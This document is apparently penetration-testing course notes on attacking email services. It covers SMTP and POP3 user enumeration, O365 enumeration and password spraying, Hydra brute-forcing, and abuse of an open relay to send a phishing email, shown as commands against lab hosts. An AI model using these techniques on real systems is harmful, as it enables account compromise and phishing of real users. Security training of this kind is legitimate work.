Attacking Email Services

A mail server (sometimes also referred to as an email server) is a server that handles and delivers email over a network, usually over the Internet.

Enumeration

Host - MX Records 

host -t MX hackthebox.eu
host -t MX microsoft.com

DIG - MX Records 

dig mx plaintext.do | grep "MX" | grep -v ";"
dig mx inlanefreight.com | grep "MX" | grep -v ";"

Host - A Records 

host -t A mail1.inlanefreight.htb.
PortService
TCP/25SMTP Unencrypted
TCP/143IMAP4 Unencrypted
TCP/110POP3 Unencrypted
TCP/465SMTP Encrypted
TCP/587SMTP Encrypted / STARTTLS
TCP/993IMAP4 Encrypted
TCP/995POP3 Encrypted
sudo nmap -Pn -sV -sC -p25,143,110,465,587,993,995 10.129.14.128

Misconfigurations

VRFY Command 

telnet 10.10.110.20 25

Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
220 parrot ESMTP Postfix (Debian/GNU)


VRFY root

252 2.0.0 root


VRFY www-data

252 2.0.0 www-data


VRFY new-user

550 5.1.1 <new-user>: Recipient address rejected: User unknown in local recipient table

EXPN Command 

telnet 10.10.110.20 25

Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
220 parrot ESMTP Postfix (Debian/GNU)


EXPN john

250 2.1.0 [email protected]


EXPN support-team

250 2.0.0 [email protected]
250 2.1.5 [email protected]

RCPT TO Command 

telnet 10.10.110.20 25

Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
220 parrot ESMTP Postfix (Debian/GNU)


MAIL FROM:[email protected]
it is
250 2.1.0 [email protected]... Sender ok


RCPT TO:julio

550 5.1.1 julio... User unknown


RCPT TO:kate

550 5.1.1 kate... User unknown


RCPT TO:john

250 2.1.5 john... Recipient ok

USER Command 

telnet 10.10.110.20 110

Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
+OK POP3 Server ready

USER julio

-ERR


USER john

+OK

To automate our enumeration process, we can use a tool named smtp-user-enum. We can specify the enumeration mode with the argument -M followed by VRFY, EXPN, or RCPT, and the argument -U with a file containing the list of users we want to enumerate. Depending on the server implementation and enumeration mode, we need to add the domain for the email address with the argument -D. Finally, we specify the target with the argument -t.

smtp-user-enum -M RCPT -U userlist.txt -D inlanefreight.htb -t 10.129.203.7

Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )

 ----------------------------------------------------------
|                   Scan Information                       |
 ----------------------------------------------------------

Mode ..................... RCPT
Worker Processes ......... 5
Usernames file ........... userlist.txt
Target count ............. 1
Username count ........... 78
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............ inlanefreight.htb

######## Scan started at Thu Apr 21 06:53:07 2022 #########
10.129.203.7: [email protected] exists
10.129.203.7: [email protected] exists
10.129.203.7: [email protected] exists
######## Scan completed at Thu Apr 21 06:53:18 2022 #########
3 results.

78 queries in 11 seconds (7.1 queries / sec)

Cloud Enumeration

O365spray is a username enumeration and password spraying tool aimed at Microsoft Office 365 (O365) developed by ZDH. This tool reimplements a collection of enumeration and spray techniques researched and identified by those mentioned in Acknowledgments. Let’s first validate if our target domain is using Office 365.

O365 Spray 

python3 o365spray.py --validate --domain msplaintext.xyz

            *** O365 Spray ***            

>----------------------------------------<

   > version        :  2.0.4
   > domain         :  msplaintext.xyz
   > validate       :  True
   > timeout        :  25 seconds
   > start          :  2022-04-13 09:46:40

>----------------------------------------<

[2022-04-13 09:46:40,344] INFO : Running O365 validation for: msplaintext.xyz
[2022-04-13 09:46:40,743] INFO : [VALID] The following domain is using O365: msplaintext.xyz
python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz        
                                       
            *** O365 Spray ***             

>----------------------------------------<

   > version        :  2.0.4
   > domain         :  msplaintext.xyz
   > enum           :  True
   > userfile       :  users.txt
   > enum_module    :  office
   > rate           :  10 threads
   > timeout        :  25 seconds
   > start          :  2022-04-13 09:48:03

>----------------------------------------<

[2022-04-13 09:48:03,621] INFO : Running O365 validation for: msplaintext.xyz
[2022-04-13 09:48:04,062] INFO : [VALID] The following domain is using O365: msplaintext.xyz
[2022-04-13 09:48:04,064] INFO : Running user enumeration against 67 potential users
[2022-04-13 09:48:08,244] INFO : [VALID] [email protected]
[2022-04-13 09:48:10,415] INFO : [VALID] [email protected]
[2022-04-13 09:48:10,415] INFO : 

[ * ] Valid accounts can be found at: '/opt/o365spray/enum/enum_valid_accounts.2204130948.txt'
[ * ] All enumerated accounts can be found at: '/opt/o365spray/enum/enum_tested_accounts.2204130948.txt'

[2022-04-13 09:48:10,416] INFO : Valid Accounts: 2

Password Attacks

Hydra - Password Attack 
 hydra -L users.txt -p 'Company01!' -f 10.10.110.20 pop3

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-04-13 11:37:46
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[DATA] max 16 tasks per 1 server, overall 16 tasks, 67 login tries (l:67/p:1), ~5 tries per task
[DATA] attacking pop3://10.10.110.20:110/
[110][pop3] host: 10.129.42.197   login: john   password: Company01!
1 of 1 target successfully completed, 1 valid password found
O365 Spray - Password Spraying 
python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --count 1 --lockout 1 --domain msplaintext.xyz

            *** O365 Spray ***            

>----------------------------------------<

   > version        :  2.0.4
   > domain         :  msplaintext.xyz
   > spray          :  True
   > password       :  March2022!
   > userfile       :  usersfound.txt
   > count          :  1 passwords/spray
   > lockout        :  1.0 minutes
   > spray_module   :  oauth2
   > rate           :  10 threads
   > safe           :  10 locked accounts
   > timeout        :  25 seconds
   > start          :  2022-04-14 12:26:31

>----------------------------------------<

[2022-04-14 12:26:31,757] INFO : Running O365 validation for: msplaintext.xyz
[2022-04-14 12:26:32,201] INFO : [VALID] The following domain is using O365: msplaintext.xyz
[2022-04-14 12:26:32,202] INFO : Running password spray against 2 users.
[2022-04-14 12:26:32,202] INFO : Password spraying the following passwords: ['March2022!']
[2022-04-14 12:26:33,025] INFO : [VALID] [email protected]:March2022!
[2022-04-14 12:26:33,048] INFO : 

[ * ] Writing valid credentials to: '/opt/o365spray/spray/spray_valid_credentials.2204141226.txt'
[ * ] All sprayed credentials can be found at: '/opt/o365spray/spray/spray_tested_credentials.2204141226.txt'

[2022-04-14 12:26:33,048] INFO : Valid Credentials: 1

Protocol Specifics Attacks

Open Relay 

nmap -p25 -Pn --script smtp-open-relay 10.10.11.213
swaks --from [email protected] --to [email protected] --header 'Subject: Company Notification' --body 'Hi All, we want to hear from you! Please complete the following survey. http://mycustomphishinglink.com/' --server 10.10.11.213

=== Trying 10.10.11.213:25...
=== Connected to 10.10.11.213.
<-  220 mail.localdomain SMTP Mailer ready
 -> EHLO parrot
<-  250-mail.localdomain
<-  250-SIZE 33554432
<-  250-8BITMIME
<-  250-STARTTLS
<-  250-AUTH LOGIN PLAIN CRAM-MD5 CRAM-SHA1
<-  250 HELP
 -> MAIL FROM:<[email protected]>
<-  250 OK
 -> RCPT TO:<[email protected]>
<-  250 OK
 -> DATA
<-  354 End data with <CR><LF>.<CR><LF>
 -> Date: Thu, 29 Oct 2020 01:36:06 -0400
 -> To: [email protected]
 -> From: [email protected]
 -> Subject: Company Notification
 -> Message-Id: <20201029013606.775675@parrot>
 -> X-Mailer: swaks v20190914.0 jetmore.org/john/code/swaks/
 -> 
 -> Hi All, we want to hear from you! Please complete the following survey. http://mycustomphishinglink.com/
 -> 
 -> 
 -> .
<-  250 OK
 -> QUIT
<-  221 Bye
=== Connection closed with remote host.